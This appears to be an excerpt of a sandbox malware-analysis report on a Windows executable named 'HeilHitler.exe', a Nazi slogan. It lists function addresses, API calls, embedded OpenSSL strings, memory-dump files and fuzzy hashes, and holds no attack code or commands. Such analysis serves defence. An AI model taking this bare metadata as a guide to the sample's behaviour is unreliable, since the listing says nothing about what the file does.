Associated: 00000001.00000002.2033758431.00007FFDFADC4000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2033758431.00007FFDFAE13000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2033758431.00007FFDFAE6C000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2033758431.00007FFDFAE71000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2033758431.00007FFDFAE74000.00000040.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2034059986.00007FFDFAE75000.00000080.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2034101253.00007FFDFAE77000.00000004.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfad60000_HeilHitler.jbxd

Similarity

API ID: 00007F767
String ID: _/yZ_&
API String ID: 1545044454-2545492802
Opcode ID: 65d28254b1fa7096358616b1c3a2e3d08ae438bc19f6638929b4b237d624a99b
Instruction ID: 74f25125fbc44b9784b2f9ec81afe5d2451b0e5bdd93e5b146d49c0bed4bf57e
Opcode Fuzzy Hash: 65d28254b1fa7096358616b1c3a2e3d08ae438bc19f6638929b4b237d624a99b
Instruction Fuzzy Hash: 04D1AEB2B0C56281EB688B15E824EB977A9FF55754F1441B1EA6E837C8FF3DE8418700

Function 00007FFDFAE82554 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 296COMMON

Download Yara Rule

Strings

..\s\ssl\ssl_rsa.c, xrefs: 00007FFDFAEB10A9, 00007FFDFAEB10F8, 00007FFDFAEB1118, 00007FFDFAEB1132, 00007FFDFAEB1210, 00007FFDFAEB122A, 00007FFDFAEB1240, 00007FFDFAEB1256, 00007FFDFAEB126E

Memory Dump Source

Source File: 00000001.00000002.2034183596.00007FFDFAE81000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FFDFAE80000, based on PE: true

Associated: 00000001.00000002.2034141796.00007FFDFAE80000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAEF3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAEF6000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAF19000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAF24000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAF2E000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034512265.00007FFDFAF31000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034545589.00007FFDFAF33000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfae80000_HeilHitler.jbxd

Similarity

API ID:
String ID: ..\s\ssl\ssl_rsa.c
API String ID: 0-2723262194
Opcode ID: 6e30abe6fdefd8749cd68edd071d20a41e65e46e175e23b0af5fe1f426fff78f
Instruction ID: 0ddaa097721a32a9d140a7c79436f37a524022e196faf3c9f560075a8cdaf329
Opcode Fuzzy Hash: 6e30abe6fdefd8749cd68edd071d20a41e65e46e175e23b0af5fe1f426fff78f
Instruction Fuzzy Hash: DFC10421B1865289FB28AB65D464ABD26A1BF447CCF004176EE6F5BACDDF3DE6018340

Function 00007FFDFAE82004 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 252COMMON

Download Yara Rule

APIs

00007FFE13331210.VCRUNTIME140 ref: 00007FFDFAEB5412
00007FFE1FFB08A0.API-MS-WIN-CRT-TIME-L1-1-0 ref: 00007FFDFAEB5464

Strings

..\s\ssl\ssl_sess.c, xrefs: 00007FFDFAEB543E, 00007FFDFAEB555C

Memory Dump Source

Source File: 00000001.00000002.2034183596.00007FFDFAE81000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FFDFAE80000, based on PE: true

Associated: 00000001.00000002.2034141796.00007FFDFAE80000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAEF3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAEF6000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAF19000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAF24000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAF2E000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034512265.00007FFDFAF31000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034545589.00007FFDFAF33000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfae80000_HeilHitler.jbxd

Similarity

API ID: 00007$E13331210
String ID: ..\s\ssl\ssl_sess.c
API String ID: 1265583241-2868363209
Opcode ID: 330f54d2262cd26ac1954423d928ad117dd1f709cc5969c2bca93fc8397799ae
Instruction ID: db5c09a474b626d3b35754e0a460033e24827fed71f9754fe3b2cc6ae13dd1c7
Opcode Fuzzy Hash: 330f54d2262cd26ac1954423d928ad117dd1f709cc5969c2bca93fc8397799ae
Instruction Fuzzy Hash: DFC1BE3270968186E768EB15D468BA933A4FB44B88F040176DE6F4B7CDDF7AE841CB10

Function 00007FFDFAE81DAF Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 134COMMON

Download Yara Rule

APIs

00007FFE1FFB6570.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFDFAE87642

Strings

H, xrefs: 00007FFDFAE8757B
..\s\ssl\d1_srtp.c, xrefs: 00007FFDFAE87583, 00007FFDFAE87664

Memory Dump Source

Source File: 00000001.00000002.2034183596.00007FFDFAE81000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FFDFAE80000, based on PE: true

Associated: 00000001.00000002.2034141796.00007FFDFAE80000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAEF3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAEF6000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAF19000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAF24000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAF2E000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034512265.00007FFDFAF31000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034545589.00007FFDFAF33000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfae80000_HeilHitler.jbxd

Similarity

API ID: 00007B6570
String ID: ..\s\ssl\d1_srtp.c$H
API String ID: 4069847057-1001428523
Opcode ID: 5e5ac52720a642c798290dfeeca0c74eddbb25d0d6b8b3ad0b64af9bfd740cf0
Instruction ID: a59353da4603c1f31a6eeb976e38ff35457bb270284d313f69fcf74c5f50c079
Opcode Fuzzy Hash: 5e5ac52720a642c798290dfeeca0c74eddbb25d0d6b8b3ad0b64af9bfd740cf0
Instruction Fuzzy Hash: 3D41C321F4D64285FB18BB25A460BB967A0AF40B84F4484B1DD3E8B7CDDE3EE952D700

Function 00007FF633D85B1C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 121COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF633D81760: _invalid_parameter_noinfo.LIBCMT ref: 00007FF633D81793

_get_daylight.LIBCMT ref: 00007FF633D85C34
_get_daylight.LIBCMT ref: 00007FF633D85C45

Strings

?, xrefs: 00007FF633D85BC5

Memory Dump Source

Source File: 00000001.00000002.2033505327.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000001.00000002.2033471768.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033554529.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633DA1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033670545.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo
String ID: ?
API String ID: 1286766494-1684325040
Opcode ID: 34aa9ba053483d92f686c00bb3d23c2ed0895a5cb55bf09a4ef316522e0c30cf
Instruction ID: 3cb196903c5e56fc7d9eb1f85b8d271bd60e7ec9e6446d419ff1f1ad6365f8fe
Opcode Fuzzy Hash: 34aa9ba053483d92f686c00bb3d23c2ed0895a5cb55bf09a4ef316522e0c30cf
Instruction Fuzzy Hash: 3A411812A0828246FB619BA9D40237A67A2EF91BA4F145335EE5C9ABD5DF3CF4419B00

Function 00007FFDFAF42743 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 118COMMON

Download Yara Rule

APIs

00007FFE1FFB08A0.API-MS-WIN-CRT-TIME-L1-1-0 ref: 00007FFDFAFEA592

Strings

%04d%02d%02d%02d%02d%02dZ, xrefs: 00007FFDFAFEA698
%02d%02d%02d%02d%02d%02dZ, xrefs: 00007FFDFAFEA6A5

Memory Dump Source

Source File: 00000001.00000002.2034614271.00007FFDFAF41000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00007FFDFAF40000, based on PE: true

Associated: 00000001.00000002.2034579485.00007FFDFAF40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFAF4D000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFAFA5000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFAFB9000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFAFC9000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFAFDD000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB18C000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB18E000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB1B9000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB1EA000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB210000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB25E000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB264000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB266000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB282000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB28F000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2035725372.00007FFDFB293000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2035764384.00007FFDFB294000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfaf40000_HeilHitler.jbxd

Similarity

API ID: 00007
String ID: %02d%02d%02d%02d%02d%02dZ$%04d%02d%02d%02d%02d%02dZ
API String ID: 3568877910-2648760357
Opcode ID: 2a3bc1689ddc0f887af3b9ff0742d7664fa732a47decfc4233859a34b1d629f8
Instruction ID: 2c5b6db37c18bbafd1545bb69879b3316697faa9cbe83242dd0772c119ddee43
Opcode Fuzzy Hash: 2a3bc1689ddc0f887af3b9ff0742d7664fa732a47decfc4233859a34b1d629f8
Instruction Fuzzy Hash: 50515372B187818AE764DF15E45066AB7A0FF89750F044235FA9D8BB9DDF3CE9408B00

Function 00007FFDFAF41613 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

getaddrinfo.WS2_32 ref: 00007FFDFB00685E
getaddrinfo.WS2_32 ref: 00007FFDFB00689F

Strings

..\s\crypto\bio\b_addr.c, xrefs: 00007FFDFB0068CC, 00007FFDFB006913, 00007FFDFB00693F

Memory Dump Source

Source File: 00000001.00000002.2034614271.00007FFDFAF41000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00007FFDFAF40000, based on PE: true

Associated: 00000001.00000002.2034579485.00007FFDFAF40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFAF4D000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFAFA5000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFAFB9000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFAFC9000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFAFDD000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB18C000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB18E000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB1B9000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB1EA000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB210000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB25E000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB264000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB266000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB282000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB28F000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2035725372.00007FFDFB293000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2035764384.00007FFDFB294000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfaf40000_HeilHitler.jbxd

Similarity

API ID: getaddrinfo
String ID: ..\s\crypto\bio\b_addr.c
API String ID: 300660673-2547254400
Opcode ID: a0b5319feac94952a1432a4b762969270d9d630226e0b1293bfa37404cbb0f4b
Instruction ID: 2e88f729119542b9a2d2349d2dcb214ab342465ca380623f591756393880fab1
Opcode Fuzzy Hash: a0b5319feac94952a1432a4b762969270d9d630226e0b1293bfa37404cbb0f4b
Instruction Fuzzy Hash: 2D41D172B1868387E7548B12E860ABE7391FB85B84F044135FAAA47BD9DF3CD9459B00

Function 00007FFDFAE823C4 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 112COMMON

Download Yara Rule

APIs

00007FFE13331210.VCRUNTIME140 ref: 00007FFDFAEBEAF8
00007FFE13331210.VCRUNTIME140 ref: 00007FFDFAEBEB2F

Strings

..\s\ssl\statem\extensions_clnt.c, xrefs: 00007FFDFAEBEA3E, 00007FFDFAEBEB74, 00007FFDFAEBEBA8

Memory Dump Source

Source File: 00000001.00000002.2034183596.00007FFDFAE81000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FFDFAE80000, based on PE: true

Associated: 00000001.00000002.2034141796.00007FFDFAE80000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAEF3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAEF6000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAF19000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAF24000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAF2E000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034512265.00007FFDFAF31000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034545589.00007FFDFAF33000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfae80000_HeilHitler.jbxd

Similarity

API ID: 00007E13331210
String ID: ..\s\ssl\statem\extensions_clnt.c
API String ID: 1677897744-592572767
Opcode ID: 681ca32c43e687601a72343e186ad25e786e8a1d2c56bc4b349ba56f2cbe764a
Instruction ID: f390b39db86a4970431c8097669f865050c24ae1f8a3053a423a1bdcfc8a1272
Opcode Fuzzy Hash: 681ca32c43e687601a72343e186ad25e786e8a1d2c56bc4b349ba56f2cbe764a
Instruction Fuzzy Hash: B941C272708A81C6EB289B11E5546ADB7A4FB44BC4F148072DBAE0BBDDDF3DD6918700

Function 00007FF633D79014 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 111COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF633D79046

Part of subcall function 00007FF633D7A948: RtlFreeHeap.NTDLL(?,?,?,00007FF633D82D22,?,?,?,00007FF633D82D5F,?,?,00000000,00007FF633D83225,?,?,?,00007FF633D83157), ref: 00007FF633D7A95E
Part of subcall function 00007FF633D7A948: GetLastError.KERNEL32(?,?,?,00007FF633D82D22,?,?,?,00007FF633D82D5F,?,?,00000000,00007FF633D83225,?,?,?,00007FF633D83157), ref: 00007FF633D7A968

GetModuleFileNameW.KERNEL32(?,?,?,?,?,00007FF633D6CBA5), ref: 00007FF633D79064

Strings

C:\Users\user\Desktop\HeilHitler.exe, xrefs: 00007FF633D79052

Memory Dump Source

Source File: 00000001.00000002.2033505327.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000001.00000002.2033471768.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033554529.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633DA1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033670545.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: ErrorFileFreeHeapLastModuleName_invalid_parameter_noinfo
String ID: C:\Users\user\Desktop\HeilHitler.exe
API String ID: 3580290477-2243985011
Opcode ID: 652ac8178d02f9bf502bb0dac840cc2c27021cfa98e1c84195502d2d1921a3a9
Instruction ID: 9701e2203530df1d37851d7f3befcf6e76ec76ec48aeee2e83f82e91ee57d9c5
Opcode Fuzzy Hash: 652ac8178d02f9bf502bb0dac840cc2c27021cfa98e1c84195502d2d1921a3a9
Instruction Fuzzy Hash: 5841C032A08B1286EB14DFA1D8420BD63A4EF447D0B554235ED4EE3B85CF3DE4A6E300

Function 00007FF633D7CC38 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00007FF633D7CD4F
GetLastError.KERNEL32 ref: 00007FF633D7CD71

Strings

U, xrefs: 00007FF633D7CCFB

Memory Dump Source

Source File: 00000001.00000002.2033505327.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000001.00000002.2033471768.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033554529.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633DA1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033670545.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 4f5d94246872f2193e537bc66f33c90add5f7e97f4787e66017fcfb3b1ebd6d4
Instruction ID: 19f18fa483c2f33693694605881a2da7bc54fe51dfafeebc5f756f4136fe1acb
Opcode Fuzzy Hash: 4f5d94246872f2193e537bc66f33c90add5f7e97f4787e66017fcfb3b1ebd6d4
Instruction Fuzzy Hash: AD41A332B18A8185EB608F65E4453BA77A0FB88B84F944235EE4DD7798EF3CD441D740

Function 00007FFDFAF439B8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 74COMMON

Download Yara Rule

APIs

00007FFE2002EFC0.API-MS-WIN-CRT-FILESYSTEM-L1-1-0 ref: 00007FFDFB10E30D

Strings

..\s\crypto\rand\randfile.c, xrefs: 00007FFDFB10E26C, 00007FFDFB10E2D0
Filename=, xrefs: 00007FFDFB10E282, 00007FFDFB10E2F1

Memory Dump Source

Source File: 00000001.00000002.2034614271.00007FFDFAF41000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00007FFDFAF40000, based on PE: true

Associated: 00000001.00000002.2034579485.00007FFDFAF40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFAF4D000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFAFA5000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFAFB9000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFAFC9000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFAFDD000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB18C000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB18E000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB1B9000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB1EA000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB210000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB25E000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB264000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB266000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB282000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB28F000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2035725372.00007FFDFB293000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2035764384.00007FFDFB294000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfaf40000_HeilHitler.jbxd

Similarity

API ID: 00007E2002
String ID: ..\s\crypto\rand\randfile.c$Filename=
API String ID: 1750240854-2201148535
Opcode ID: 6b3b0f7a3795f012e9ff1fc1ebc767fdf81fc92d56402ad81cac52365df12dad
Instruction ID: dea53edd868a1f6cdd0dfcead8c6c8f67e45dbd49bbaf74c7e9ed727bf7152ff
Opcode Fuzzy Hash: 6b3b0f7a3795f012e9ff1fc1ebc767fdf81fc92d56402ad81cac52365df12dad
Instruction Fuzzy Hash: 6531A166F0968782FB24DB12E420BAA6750FF44788F444135EA6D476EDEF3CE604C700

Function 00007FFDFAE86550 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 68timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32 ref: 00007FFDFAE8659D
SystemTimeToFileTime.KERNEL32 ref: 00007FFDFAE865AD

Strings

gfff, xrefs: 00007FFDFAE865DF

Memory Dump Source

Source File: 00000001.00000002.2034183596.00007FFDFAE81000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FFDFAE80000, based on PE: true

Associated: 00000001.00000002.2034141796.00007FFDFAE80000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAEF3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAEF6000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAF19000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAF24000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAF2E000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034512265.00007FFDFAF31000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034545589.00007FFDFAF33000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfae80000_HeilHitler.jbxd

Similarity

API ID: Time$System$File
String ID: gfff
API String ID: 2838179519-1553575800
Opcode ID: f6e690c008a50fba309e4810556e3a08f0a38e0289250941bf64fab63e84ad4b
Instruction ID: 46f646b904b250eae01b2704aad1453db3afea6d4672d8031419b33a8cef1f01
Opcode Fuzzy Hash: f6e690c008a50fba309e4810556e3a08f0a38e0289250941bf64fab63e84ad4b
Instruction Fuzzy Hash: 4421E97270468786DB58DF29E52077977E0EB88788F44C075EA6ECB798DE3DD0408700

Function 00007FFDFAEB3B40 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 67COMMON

Download Yara Rule

Strings

..\s\ssl\ssl_sess.c, xrefs: 00007FFDFAEB3B6F, 00007FFDFAEB3B88, 00007FFDFAEB3BF1, 00007FFDFAEB3C43
T, xrefs: 00007FFDFAEB3BF8

Memory Dump Source

Source File: 00000001.00000002.2034183596.00007FFDFAE81000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FFDFAE80000, based on PE: true

Associated: 00000001.00000002.2034141796.00007FFDFAE80000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAEF3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAEF6000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAF19000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAF24000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAF2E000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034512265.00007FFDFAF31000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034545589.00007FFDFAF33000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfae80000_HeilHitler.jbxd

Similarity

API ID:
String ID: ..\s\ssl\ssl_sess.c$T
API String ID: 0-2647723609
Opcode ID: 2738ae770119198ad7c47fd9ebfa88edacb67cbaab7b8918c68778f86e0758ed
Instruction ID: 338a95149e73a5cb6f7f55089dad51280add143d5e8efb10b1059304ca38ef12
Opcode Fuzzy Hash: 2738ae770119198ad7c47fd9ebfa88edacb67cbaab7b8918c68778f86e0758ed
Instruction Fuzzy Hash: 6021A230B1864282FB08AB61D865BE976D0EF44744F8440B6EA1E477C9EF7EE504CB10

Function 00007FF633D7F5B8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

GetCurrentDirectoryW.KERNEL32 ref: 00007FF633D7F5F8
GetCurrentDirectoryW.KERNEL32 ref: 00007FF633D7F64A

Strings

:, xrefs: 00007FF633D7F60E

Memory Dump Source

Source File: 00000001.00000002.2033505327.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000001.00000002.2033471768.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033554529.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633DA1000.00000004.00000001.01000000.00000003.sdmpDownload File
